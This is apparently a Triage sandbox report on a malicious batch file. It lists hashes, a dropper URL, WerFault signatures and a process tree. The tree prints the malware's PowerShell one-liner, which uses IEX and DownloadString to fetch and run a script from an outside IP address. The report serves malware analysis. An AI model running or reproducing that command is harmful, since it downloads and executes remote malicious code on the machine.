c9587e50149d6b16f99a0ec810f89670c4e75cc8610641973f55796712ad8fb8 | Triage

Analysis

max time kernel
123s
max time network
147s
platform
windows10_x64
resource
win10v200430
submitted
12-06-2020 14:10

Sharing

Report Analysis Logs

General

Target

e311ca0dbd0eb9014f1e66e9c74a7634.bat
Size

213B
MD5

40fe3c2a1ab5a72052998d4af7cff154
SHA1

4dff0fbc5e91e076066f61c666c1a7da294e0d33
SHA256

c9587e50149d6b16f99a0ec810f89670c4e75cc8610641973f55796712ad8fb8
SHA512

bca3682a5e819a086ef4102fd599fe8ea60d5737c005274af710a378054da7f4251e719b1ad8c799b6d50b51787fc7ce81956a7f3f5f6f533f0c0c403a19d280

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/e311ca0dbd0eb9014f1e66e9c74a7634

Signatures

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1712 WerFault.exe
Token: SeBackupPrivilege 1712 WerFault.exe
Token: SeDebugPrivilege 1712 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1712 1248 WerFault.exe powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e311ca0dbd0eb9014f1e66e9c74a7634.bat"
1⤵
PID:2536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/e311ca0dbd0eb9014f1e66e9c74a7634');Invoke-EACMHY;Start-Sleep -s 10000"
2⤵
PID:1248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 704
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:1712

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1712-0-0x00000000045E0000-0x00000000045E1000-memory.dmp

Filesize
4KB

Download
memory/1712-1-0x0000000004B10000-0x0000000004B11000-memory.dmp

Filesize
4KB

Download